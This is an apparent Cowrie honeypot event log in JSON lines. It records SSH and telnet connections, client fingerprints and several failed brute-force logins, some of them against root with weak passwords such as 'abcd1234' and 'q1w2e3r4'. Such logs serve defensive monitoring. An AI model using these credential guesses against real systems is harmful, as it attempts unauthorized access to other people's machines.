{"eventid":"cowrie.login.failed","username":"server","password":"server@123","message":"login attempt [server/server@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:21.757273Z","src_ip":"36.141.79.94","session":"73cc7c33f3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:23.001296Z","src_ip":"36.141.79.94","session":"73cc7c33f3e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":41988,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6a43732df3","protocol":"telnet","message":"New connection: 160.250.4.73:41988 (10.17.0.5:23) [session: 3a6a43732df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:24.000473Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":44974,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca9ca668b31","protocol":"telnet","message":"New connection: 64.235.40.29:44974 (10.17.0.5:23) [session: 5ca9ca668b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:29.550763Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:32.784963Z","src_ip":"122.168.114.167","session":"cb690b385e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.6","message":"Connection lost after 29.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:38.456328Z","src_ip":"122.168.114.167","session":"cb690b385e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42028,"dst_ip":"159.203.135.109","dst_port":22,"session":"10b5e25a2a0a","protocol":"ssh","message":"New connection: 159.203.92.129:42028 (159.203.135.109:22) [session: 10b5e25a2a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:42.427102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:42.430489Z","src_ip":"159.203.92.129","session":"10b5e25a2a0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:42.434304Z","src_ip":"159.203.92.129","session":"10b5e25a2a0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv9","password":"appv9","message":"login attempt [appv9/appv9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:42.443786Z","src_ip":"159.203.92.129","session":"10b5e25a2a0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:43.449505Z","src_ip":"159.203.92.129","session":"10b5e25a2a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59554,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e2ec821da25","protocol":"ssh","message":"New connection: 122.168.114.167:59554 (159.203.135.109:22) [session: 5e2ec821da25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:47.463104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:52.258694Z","src_ip":"122.168.114.167","session":"5e2ec821da25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:52.262257Z","src_ip":"122.168.114.167","session":"5e2ec821da25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12993836402893,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:55.130304Z","src_ip":"160.250.4.73","session":"3a6a43732df3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.575350999832153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:00.126039Z","src_ip":"64.235.40.29","session":"5ca9ca668b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"446817ae4cfa","protocol":"telnet","message":"New connection: 64.235.40.29:57384 (10.17.0.5:23) [session: 446817ae4cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:04.526947Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":34162,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbd54e766e08","protocol":"telnet","message":"New connection: 64.235.40.29:34162 (10.17.0.5:23) [session: cbd54e766e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:08.022937Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":34164,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea05f948334","protocol":"telnet","message":"New connection: 64.235.40.29:34164 (10.17.0.5:23) [session: 3ea05f948334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:11.305258Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:15.917187Z","src_ip":"122.168.114.167","session":"5e2ec821da25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"35.9","message":"Connection lost after 35.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:23.387212Z","src_ip":"122.168.114.167","session":"5e2ec821da25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f27abff5b26c","protocol":"ssh","message":"New connection: 122.168.114.167:33724 (159.203.135.109:22) [session: f27abff5b26c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:27.020187Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56018,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8f017276090","protocol":"ssh","message":"New connection: 159.203.92.129:56018 (159.203.135.109:22) [session: a8f017276090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:29.222596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:29.262993Z","src_ip":"159.203.92.129","session":"a8f017276090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:29.267770Z","src_ip":"159.203.92.129","session":"a8f017276090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appweb","password":"123456","message":"login attempt [appweb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:29.343629Z","src_ip":"159.203.92.129","session":"a8f017276090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:30.351625Z","src_ip":"159.203.92.129","session":"a8f017276090","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:32.379480Z","src_ip":"122.168.114.167","session":"f27abff5b26c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:32.384662Z","src_ip":"122.168.114.167","session":"f27abff5b26c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38262,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a9526ca676d","protocol":"telnet","message":"New connection: 64.235.40.29:38262 (10.17.0.5:23) [session: 3a9526ca676d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:33.207952Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50884,"dst_ip":"159.203.135.109","dst_port":23,"session":"537e80c48fb2","protocol":"telnet","message":"New connection: 185.26.126.47:50884 (159.203.135.109:23) [session: 537e80c48fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:33.595030Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38268,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac459dbcb17","protocol":"telnet","message":"New connection: 64.235.40.29:38268 (10.17.0.5:23) [session: 2ac459dbcb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:34.024218Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6bda461bb0a","protocol":"telnet","message":"New connection: 64.235.40.29:38638 (10.17.0.5:23) [session: d6bda461bb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:35.051688Z"}
{"eventid":"cowrie.session.closed","duration":30.785918712615967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:35.312707Z","src_ip":"64.235.40.29","session":"446817ae4cfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38654,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd069c5e1b5","protocol":"telnet","message":"New connection: 64.235.40.29:38654 (10.17.0.5:23) [session: 2dd069c5e1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:36.435533Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1741fdb6268","protocol":"telnet","message":"New connection: 64.235.40.29:38662 (10.17.0.5:23) [session: d1741fdb6268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:37.128016Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38672,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e36784babc2","protocol":"telnet","message":"New connection: 64.235.40.29:38672 (10.17.0.5:23) [session: 8e36784babc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:37.655817Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38688,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db3675b9263","protocol":"telnet","message":"New connection: 64.235.40.29:38688 (10.17.0.5:23) [session: 5db3675b9263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:38.295217Z"}
{"eventid":"cowrie.session.closed","duration":31.103041410446167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:39.125829Z","src_ip":"64.235.40.29","session":"cbd54e766e08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38702,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94dce1da7f4","protocol":"telnet","message":"New connection: 64.235.40.29:38702 (10.17.0.5:23) [session: d94dce1da7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:40.277290Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38714,"dst_ip":"10.17.0.5","dst_port":23,"session":"73856b8985bc","protocol":"telnet","message":"New connection: 64.235.40.29:38714 (10.17.0.5:23) [session: 73856b8985bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:42.010834Z"}
{"eventid":"cowrie.session.closed","duration":30.75380516052246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:42.058918Z","src_ip":"64.235.40.29","session":"3ea05f948334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":38716,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4fc2c99d29","protocol":"telnet","message":"New connection: 64.235.40.29:38716 (10.17.0.5:23) [session: 2d4fc2c99d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:43.203170Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41986,"dst_ip":"10.17.0.5","dst_port":23,"session":"538dc1529bab","protocol":"telnet","message":"New connection: 64.235.40.29:41986 (10.17.0.5:23) [session: 538dc1529bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:45.659554Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":51708,"dst_ip":"10.17.0.5","dst_port":23,"session":"8049a91e0991","protocol":"telnet","message":"New connection: 135.148.33.217:51708 (10.17.0.5:23) [session: 8049a91e0991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:47.376593Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41988,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdb1a57af511","protocol":"telnet","message":"New connection: 64.235.40.29:41988 (10.17.0.5:23) [session: cdb1a57af511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:48.216732Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41992,"dst_ip":"10.17.0.5","dst_port":23,"session":"0efbc74af19e","protocol":"telnet","message":"New connection: 64.235.40.29:41992 (10.17.0.5:23) [session: 0efbc74af19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:50.164961Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef27b4cd9a99","protocol":"telnet","message":"New connection: 64.235.40.29:42000 (10.17.0.5:23) [session: ef27b4cd9a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:50.184286Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42006,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b69ff30b9b9","protocol":"telnet","message":"New connection: 64.235.40.29:42006 (10.17.0.5:23) [session: 9b69ff30b9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:50.287676Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42014,"dst_ip":"10.17.0.5","dst_port":23,"session":"70bc75a832bc","protocol":"telnet","message":"New connection: 64.235.40.29:42014 (10.17.0.5:23) [session: 70bc75a832bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:50.308089Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42042,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ed4f15cf4c","protocol":"telnet","message":"New connection: 64.235.40.29:42042 (10.17.0.5:23) [session: 56ed4f15cf4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:51.011125Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42030,"dst_ip":"10.17.0.5","dst_port":23,"session":"e33b2833ba1e","protocol":"telnet","message":"New connection: 64.235.40.29:42030 (10.17.0.5:23) [session: e33b2833ba1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:51.423430Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"023a7c5b300e","protocol":"telnet","message":"New connection: 64.235.40.29:42056 (10.17.0.5:23) [session: 023a7c5b300e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:52.937789Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":42070,"dst_ip":"10.17.0.5","dst_port":23,"session":"16b0317b3928","protocol":"telnet","message":"New connection: 64.235.40.29:42070 (10.17.0.5:23) [session: 16b0317b3928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:54.643729Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35458,"dst_ip":"10.17.0.5","dst_port":23,"session":"1536c25c6a62","protocol":"telnet","message":"New connection: 64.235.40.29:35458 (10.17.0.5:23) [session: 1536c25c6a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:55.546595Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":35464,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fa64ed781e","protocol":"telnet","message":"New connection: 64.235.40.29:35464 (10.17.0.5:23) [session: 50fa64ed781e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:55.553858Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:50:56.027699Z","src_ip":"122.168.114.167","session":"f27abff5b26c","protocol":"ssh"}
